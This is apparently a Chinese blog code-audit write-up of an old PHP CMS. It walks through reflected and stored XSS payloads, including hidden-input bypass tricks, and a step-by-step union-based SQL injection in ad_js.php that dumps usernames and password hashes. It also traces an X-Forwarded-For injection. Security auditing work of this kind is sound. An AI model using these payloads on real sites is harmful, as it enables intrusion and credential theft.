XSS
反射型XSS
先黑盒测一下,提取主页的链接
这里以此为例
/user.php?act=reg&from=
先插个常规的payload,看看过滤情况
<script>alert(1)<script>
这,都不用绕,直接闭合一下就行,一般有两种姿势
-
闭合属性
-
闭合标签
先尝试闭合input标签,构造payload
<input type="hidden" name="from" value=""><script>alert(2021)</script>
成功弹窗:
尝试闭合属性
# 鼠标指针移动到元素时触发
<input type="hidden" name="from" value="1" onmouseover="alert(1)" ""="">
但是由于存在hidden属性, 一般元素只要设置了这个属性,就不会显示 了,所以这里没法构造,但是为了演示,我把hidden改为text仅作演示(表示年少无知时曾这样交过src!!!🤡):
记录一下关于hidden属性的绕过
# 插入点在hidden前,新增一个type属性覆盖hidden:
<input value='a' src=1 onerror=alert(1) type="image" type="hidden">
# 插入点在hidden后,shift+alt+accesskey:
<input value='a' type="hidden" accesskey="x" onclick=alert(1)>
shift+alt+accesskey
如果这里能消除”“,还是有希望弹窗的。
存储型XSS
注册点
这种场景主要会存在存储型xss,因为一旦点开个人资料时就会触发。
先看看数据传输的过程,由于前端限制,无法插入payload,burp抓包插入
更改email为
<script>alert(2021)</script>
注册成功
成功插入数据库
打开个人资料,成功弹窗
查看源码:
payload插入成功
模拟admin用户打开后台,查看注册用户
弹窗
查看源代码,可见参数没做任何有效过滤:
SQL注入
后面由于sql注入关联的参数太多,用审计工具进行辅助
-
seay源代码审计系统
-
fotify
seay源代码审计系统:
fotify:
根据扫描结果去针对sql注入挨个分析验证。
/ad_js.php
根据seay审计系统扫描结果定位到源码
包含了/include/common.inc.php,跟进
使用addslashes函数对参数进行过滤
但准注入点$ad_id是直接拼接到sql语句中的,且没有预定义字符
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
注入点已确认,跟一下查询结果的处理过程,进getone()
该函数作用为:执行SQL语句并输出结果。
手工注入
1. 确定字段数
?adid=1 order by 7
?adid=1 order by 8
2. 得到字段数为7,确定回显位
?ad_id=1 union select 1,2,3,4,5,6,7
3. 得到回显位为7,构造查看数据的payload
查看当前数据库
?ad_id=1 union select 1,2,3,4,5,6,database()
4. 查看数据库版本信息
?ad_id=1 union select 1,2,3,4,5,6,@@version
5. 查看所有表名
?ad_id=1 union
select 1,2,3,4,5,6,group_concat(table_name)
from information_schema.tables
where table_schema=database()
6. 查看blue_user表中的所有字段
?ad_id=1 union
select 1,2,3,4,5,6,group_concat(column_name)
from information_schema.columns where table_name='blue_user'
单引号被addlashes函数转义
去掉单引号,将表名进行16进制编码
?ad_id=1 union
select 1,2,3,4,5,6,group_concat(column_name)
from information_schema.columns
where table_name=0x626c75655f61646d696e
7. 得到字段user_name,pwd, 尝试获取数据
?ad_id=1union
select 1,2,3,4,5,6,group_concat(user_name,0x3a,pwd)
from blue_user
/guest_book.php
XFF注入
准注入点$ip,全局搜索ip,guest_book.php存在以下代码
跟进$online_ip
跟进getip()
整个传参过程
X-Forwarded-For -> getip() -> $online_ip -> ip -> $sql
均没有被过滤,可确认存在注入。
参考:
https://www.onebug.org/bug/294.html
本文始发于微信公众号(don9sec):PHP代码审计 wooyun-2010-00141
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论